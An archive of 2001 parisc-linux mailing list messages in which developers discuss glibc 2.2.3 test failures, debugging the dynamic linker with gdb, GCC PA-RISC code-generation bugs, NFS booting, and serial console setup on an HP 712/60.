> I didn't find your merge_GLIBC_CVS_20010424 file. If you could point me
> where
> it is, I could perhaps try to help you as you request. More over, as you
> might infer
> I wasn't able to check the patch with the make check of the merge. The
> only thing I know
> is that my kernel still work with this patch , which is not a proof.

cvs co -r merge_GLIBC_CVS_20010424 glibc

gets you the glibc I'm working on.  i could provide a patch against
upstream glibc 2.2.3 if there's interest?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Sat, 5 May 2001 23:45:04 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010505234504.V32445@parcelfarce.linux.theplanet.co.uk>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620101 18898 80.91.229.3 (22 Nov 2014 01:35:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  5 16:45:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AB92482A
	for <parisc-linux@parisc-linux.org>; Sat,  5 May 2001 16:45:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14wAnQ-0002sH-00; Sat, 05 May 2001 23:45:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sat, May 05, 2001 at 03:34:57AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10995

On Sat, May 05, 2001 at 03:34:57AM +0100, Matthew Wilcox wrote:
>  * io/test-utime fails.  Looks like a stat problem.

That's rather interesting.  It fails for me over NFS, but not on ramfs.
I'm going to log this as a kernel bug to remind me to report it upstream
if it can be reproduced on a later kernel revision.  This is something
people could do on a non-pa machine.





From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] getting there!
Date: Sun, 6 May 2001 15:07:12 +1000
Lines: 26
Approved: news@gmane.org
Message-ID: <3AF568A0.28096.143DEB3@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620102 18901 80.91.229.3 (22 Nov 2014 01:35:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  5 23:09:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17740482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 May 2001 23:09:04 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.52])
          by mta02.mail.mel.aone.net.au with ESMTP
          id <20010506050856.SWWW346.mta02.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 6 May 2001 15:08:56 +1000
Original-Received: from winnie.sspl.net.au (winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id PAA24730
	for <parisc-linux@lists.parisc-linux.org>; Sun, 6 May 2001 15:07:09 +1000
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:10996

Hey everyone,

Thanks to Grants lifimage I've finally started getting somewhere.

I'm using a linux box as a NFSboot server.  The kernel is booting, 
but when it gets to the point of reading the root file system, I'm 
getting an error on the nfsservers messages saying: tftp: read: 
connection refused.

I'm very new to booting like this, and if it wasn't for the lifimage 
Grant put up for ftp I doubt I'd be this far.

I have setup nfs, I have exported the file system for the base fs 
from external etc... but this error of tftp refusing the connection I 
can't seem to find anything to say what needs to be configured, to 
get it further.

TIA,



Pete.





From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: 05 May 2001 23:14:55 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <m3d79ngg0w.fsf@otr.mynet>
References: <20010504220214.I32445@parcelfarce.linux.theplanet.co.uk>
	<200105042131.RAA15852@hiauly1.hia.nrc.ca>
	<20010504223825.J32445@parcelfarce.linux.theplanet.co.uk>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620102 18906 80.91.229.3 (22 Nov 2014 01:35:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 00:15:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37023482A
	for <parisc-linux@parisc-linux.org>; Sun,  6 May 2001 00:15:08 -0600 (MDT)
Original-Received: from otr.mynet (fiendish.cygnus.com [205.180.231.146])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id XAA06412;
	Sat, 5 May 2001 23:14:56 -0700 (PDT)
Original-Received: (from drepper@localhost)
	by otr.mynet (8.11.2/8.11.2) id f466EtC05420;
	Sat, 5 May 2001 23:14:55 -0700
X-Authentication-Warning: otr.mynet: drepper set sender to drepper@redhat.com using -f
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Matthew Wilcox's message of "Fri, 4 May 2001 22:38:25 +0100"
Original-Lines: 16
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia)
Xref: news.gmane.org gmane.linux.ports.parisc:10997

Matthew Wilcox <matthew@wil.cx> writes:

> On Fri, May 04, 2001 at 05:31:30PM -0400, John David Anglin wrote:
> > Doesn't look like _setjmp comes back at all.  Put a break on ea18
> > and start stepping.  It might help to do a static link.
> 
> this code is in the dynamic linker :-))

And the problem is?  I debug ld.so as a normal program.  The necessary
patches I came up with are in the official gdb for quite some time
now.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sun, 06 May 2001 01:07:56 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <200105060707.BAA05978@puffin.external.hp.com>
References: <m3d79ngg0w.fsf@otr.mynet>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620102 18915 80.91.229.3 (22 Nov 2014 01:35:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: drepper@cygnus.com (Ulrich Drepper)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 01:14:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8BEB482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 May 2001 01:14:34 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA05978;
	Sun, 6 May 2001 01:07:56 -0600
In-Reply-To: Your message of "05 May 2001 23:14:55 PDT."
             <m3d79ngg0w.fsf@otr.mynet> 
Xref: news.gmane.org gmane.linux.ports.parisc:10998

Ulrich Drepper wrote:
> Matthew Wilcox <matthew@wil.cx> writes:
> > On Fri, May 04, 2001 at 05:31:30PM -0400, John David Anglin wrote:
> > > ....  It might help to do a static link.
> > 
> > this code is in the dynamic linker :-))
> 
> And the problem is?  I debug ld.so as a normal program.  The necessary
> patches I came up with are in the official gdb for quite some time
> now.

Seems Matthew misunderstood the suggestion to use a static link.
I also read jda's comment to mean statically link the target obj.
It's clear now jda meant gdb.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getting there!
Date: Sun, 06 May 2001 17:43:10 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <3AF5710E.722B6AFF@esiee.fr>
References: <3AF568A0.28096.143DEB3@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620103 18921 80.91.229.3 (22 Nov 2014 01:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:03 +0000 (UTC)
To: plaven@ozemail.com.au, puffin@esiee.net,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 09:36:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BA16482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 May 2001 09:36:08 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2CE8DD15AB; Sun,  6 May 2001 17:36:03 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10999

I Pete!
I currently try to make a lan boot, and I got the same error.
When I set NFSROOT=x.x.x.x:/path/to/nfs/root
it resolves the problem.

http://lists.parisc-linux.org/pipermail/parisc-linux/2000-November/009962.html

Regards,
Matthieu

Pete wrote:
> 
> Hey everyone,
> 
> Thanks to Grants lifimage I've finally started getting somewhere.
> 
> I'm using a linux box as a NFSboot server.  The kernel is booting,
> but when it gets to the point of reading the root file system, I'm
> getting an error on the nfsservers messages saying: tftp: read:
> connection refused.
> 
> I'm very new to booting like this, and if it wasn't for the lifimage
> Grant put up for ftp I doubt I'd be this far.
> 
> I have setup nfs, I have exported the file system for the base fs
> from external etc... but this error of tftp refusing the connection I
> can't seem to find anything to say what needs to be configured, to
> get it further.
> 
> TIA,
> 
> Pete.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sun, 6 May 2001 11:53:28 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200105061553.LAA24403@hiauly1.hia.nrc.ca>
References: <200105060707.BAA05978@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620103 18926 80.91.229.3 (22 Nov 2014 01:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:03 +0000 (UTC)
Cc: drepper@cygnus.com, parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 09:53:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9B0A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 May 2001 09:53:39 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA24403;
	Sun, 6 May 2001 11:53:29 -0400 (EDT)
In-Reply-To: <200105060707.BAA05978@puffin.external.hp.com> from "Grant Grundler" at May 6, 2001 01:07:56 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:11000

> Seems Matthew misunderstood the suggestion to use a static link.
> I also read jda's comment to mean statically link the target obj.
> It's clear now jda meant gdb.

The first was my original intent.  However, I also find gdb doesn't
crash as much when it is statically linked.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: law@redhat.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa FUNCTION_OK_FOR_SIBCALL
Date: Sun, 06 May 2001 09:20:55 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20586.989166055@slagheap.cygnus.com>
References: <Pine.LNX.4.30.0105051311480.7143-100000@mullet.itr.unisa.edu.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620103 18930 80.91.229.3 (22 Nov 2014 01:35:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 10:18:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3EDD482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 May 2001 10:18:33 -0600 (MDT)
Original-Received: from slagheap.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA24730
	for <parisc-linux@lists.parisc-linux.org>; Sun, 6 May 2001 09:18:32 -0700 (PDT)
Original-Received: from slagheap.cygnus.com (law@localhost)
	by slagheap.cygnus.com (8.11.0/8.11.0) with ESMTP id f46GKu020587;
	Sun, 6 May 2001 09:20:58 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Sat, 05 May 2001 13:54:47 +0930.
             <Pine.LNX.4.30.0105051311480.7143-100000@mullet.itr.unisa.edu.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:11001

  In message <Pine.LNX.4.30.0105051311480.7143-100000@mullet.itr.unisa.edu.au>y
ou write:
  > Hi Jeff,
  >    Can you remember why FUNCTION_OK_FOR_SIBCALL is !TARGET_64BIT?
  > 
  > I'm asking because I think tail calls are always OK for pa32-linux,
  > because having a flat sub-space model we don't need to worry about rp',
  > and r19 will be preserved/loaded in the PIC case.  I'm wordering what I'm
  > missing though as you can argue the same for pa64.
I just never sat down to make them work for PA64.  Given that there are no
argument relocation stubs it's likely they'll be applicable more often for
PA64 and PA32-linux than they are for hpux.


jeff





From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: law@redhat.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa __builtin_return_addr
Date: Sun, 06 May 2001 09:25:38 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <20603.989166338@slagheap.cygnus.com>
References: <Pine.LNX.4.30.0105052051010.7143-100000@mullet.itr.unisa.edu.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620104 18934 80.91.229.3 (22 Nov 2014 01:35:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:04 +0000 (UTC)
Cc: gcc-bugs@gcc.gnu.org, parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 10:23:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD125482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 May 2001 10:23:16 -0600 (MDT)
Original-Received: from slagheap.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA24927
	for <parisc-linux@lists.parisc-linux.org>; Sun, 6 May 2001 09:23:15 -0700 (PDT)
Original-Received: from slagheap.cygnus.com (law@localhost)
	by slagheap.cygnus.com (8.11.0/8.11.0) with ESMTP id f46GPdS20604;
	Sun, 6 May 2001 09:25:40 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Sat, 05 May 2001 22:11:43 +0930.
             <Pine.LNX.4.30.0105052051010.7143-100000@mullet.itr.unisa.edu.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:11002

  In message <Pine.LNX.4.30.0105052051010.7143-100000@mullet.itr.unisa.edu.au>y
ou write:
  > Hi Jeff,
  >   I stumbled on this one a couple of hours ago, and haven't figured out
  > a good fix yet.
  > 
  > cat >builtin_ret.c <<EOF
  > void *foo (void) { return __builtin_return_address (0); }
  > EOF
  > gcc -O -S -mno-space-regs builtin_ret.c
  > 
  > gives (trimming somewhat)
  > foo:
  >         bv %r0(%r2)
  >         ldw -20(%r30),%r28	# Oops, we never stored r2 at -20(%r30)
  > 
  > The fix I have in mind is to add some communication between
  > builtins.c:expand_builtin_return_addr and pa.c:hppa_expand_prologue.
  > eg. add a field to struct machine_function, and set it in
  > pa.c:return_addr_rtx to indicate that r2 must be saved.
The "right" way to handle this would be to have return_addr_rtx return
%r2 in the case where %r2 isn't ever saved into the stack.  However, I
don't know if we can reliably determine if %r2 is saved into the stack
at the point where we call return_addr_rtx.

If we can't reliably make that determination, then we can just force
%r2 to be saved into the stack if we ever call __builtin_return_address.

  > A similar problem occurs with
  > cat >builtin_frame.c <<EOF
  > void *foo (void) { return __builtin_frame_address (1); }
  > EOF
  > gcc -O -S builtin_frame.c
  > 
  > foo:
  >         bv %r0(%r2)
  >         ldw 0(%r30),%r28	# Oops, we haven't saved a frame pointer.
  > 
  > We ought to be able to make __builtin_frame_address (n) work reliably for
  > n = 0 and n = 1 by something similar to the fix I'm proposing for the
  > return address problem.  ie. set a "frame_pointer_needed" flag in
  > struct machine_function.
I disagree about the solutoin for this one.  I believe it should be 
possible to derive the frame address from the stack pointer fairly
easily since the difference between the stack and frame pointer is
a constant.

jeff






From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial PDC console on 712/601
Date: Sun, 06 May 2001 22:09:09 +0200
Organization: private
Lines: 25
Approved: news@gmane.org
Message-ID: <3AF5AF65.C685635C@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620104 18937 80.91.229.3 (22 Nov 2014 01:35:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 14:09:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A6CF482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 May 2001 14:09:10 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010506200907.NRNZ27182.viemta06@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 6 May 2001 22:09:07 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11003

Hello HP hackers !

I have a problem setting the PDC console path to serial.
How can be done this on the HP 712/60.
On my 9000/720 I can use the `path' command on the PDC
console (admin mode). But on the 712/60, the `path' command
only sets the boot paths (primary, secondary), but not the
console.

Is it possible to use the 712/60 with serial console only
(no display and keyboard) ?
How can I set serial console ?

With friendly regards
	Christoph Plattner



-- 
-------------------------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sun, 6 May 2001 23:13:46 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20010506231346.A4917@parcelfarce.linux.theplanet.co.uk>
References: <20010504220214.I32445@parcelfarce.linux.theplanet.co.uk> <200105042131.RAA15852@hiauly1.hia.nrc.ca> <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk> <m3d79ngg0w.fsf@otr.mynet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620105 18943 80.91.229.3 (22 Nov 2014 01:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:05 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  6 16:14:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A856482A
	for <parisc-linux@parisc-linux.org>; Sun,  6 May 2001 16:14:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14wWmg-0002JU-00; Sun, 06 May 2001 23:13:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m3d79ngg0w.fsf@otr.mynet>; from drepper@redhat.com on Sat, May 05, 2001 at 11:14:55PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11004

On Sat, May 05, 2001 at 11:14:55PM -0700, Ulrich Drepper wrote:
> Matthew Wilcox <matthew@wil.cx> writes:
> 
> > On Fri, May 04, 2001 at 05:31:30PM -0400, John David Anglin wrote:
> > > Doesn't look like _setjmp comes back at all.  Put a break on ea18
> > > and start stepping.  It might help to do a static link.
> > 
> > this code is in the dynamic linker :-))
> 
> And the problem is?  I debug ld.so as a normal program.  The necessary
> patches I came up with are in the official gdb for quite some time
> now.

ok, here's a gdb session from yesterday.  i'm trying to find out why
dlfcn/tst-dladdr is failing.

here's my .gdbinit:

set env GCONV_PATH=/home/willy/cvs/glibc-B/iconvdata
set env LC_ALL=C
file /home/willy/cvs/glibc-B/elf/ld.so.1
set args --library-path /home/willy/cvs/glibc-B:/home/willy/cvs/glibc-B/math:/home/willy/cvs/glibc-B/elf:/home/willy/cvs/glibc-B/dlfcn:/home/willy/cvs/glibc-B/nss:/home/willy/cvs/glibc-B/nis:/home/willy/cvs/glibc-B/rt:/home/willy/cvs/glibc-B/resolv:/home/willy/cvs/glibc-B/crypt:/home/willy/cvs/glibc-B/linuxthreads /home/willy/cvs/glibc-B/dlfcn/tst-dladdr --direct
break _dl_init
run
add-symbol-file /home/willy/cvs/glibc-B/dlfcn/tst-dladdr 0x010000
add-symbol-file /home/willy/cvs/glibc-B/dlfcn/libdl.so 0x40001000
add-symbol-file /home/willy/cvs/glibc-B/libc.so 0x040014000

start gdb, check the /proc/<pid>/maps file:

0000000000010000-0000000000012000 r-xp 0000000000000000 08:03 279751     /home/willy/cvs/glibc-B/dlfcn/tst-dladdr
0000000040001000-0000000040004000 r-xp 0000000000000000 08:03 279740     /home/willy/cvs/glibc-B/dlfcn/libdl.so
0000000040014000-0000000040141000 r-xp 0000000000000000 08:03 639967     /home/willy/cvs/glibc-B/libc.so
0000000041000000-000000004101a000 r-xp 0000000000000000 08:03 1327771    /home/willy/cvs/glibc-B/elf/ld.so

so all seems well.

here's the output from gdb:

This GDB was configured as "hppa2.0-unknown-linux-gnu".
Breakpoint 1 at 0xebe8: file dl-init.c, line 98.
Breakpoint 1 at 0x4100ebe8: file dl-init.c, line 98.

Breakpoint 1, _dl_init (main_map=0x84690, argc=545552, argv=0x86210, env=0x0)
    at dl-init.c:98
98        if (__builtin_expect (_dl_initfirst != NULL, 0))
add symbol table from file "/home/willy/cvs/glibc-B/dlfcn/tst-dladdr" at
        .text_addr = 0x10000
add symbol table from file "/home/willy/cvs/glibc-B/dlfcn/libdl.so" at
        .text_addr = 0x40001000
add symbol table from file "/home/willy/cvs/glibc-B/libc.so" at
        .text_addr = 0x40014000
(gdb) break main 
Breakpoint 2 at 0x10614: file ../test-skeleton.c, line 123.
(gdb) c
Continuing.

Breakpoint 1, _dl_init (main_map=0x3, argc=-2147483646, argv=0x0, 
    env=0x40157ebc) at dl-init.c:98
98        if (__builtin_expect (_dl_initfirst != NULL, 0))
(gdb) c
Continuing.
/home/willy/cvs/glibc-B/dlfcn/tst-dladdr: dladdr failed

Program exited with code 01.

so the program never stops at main().

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
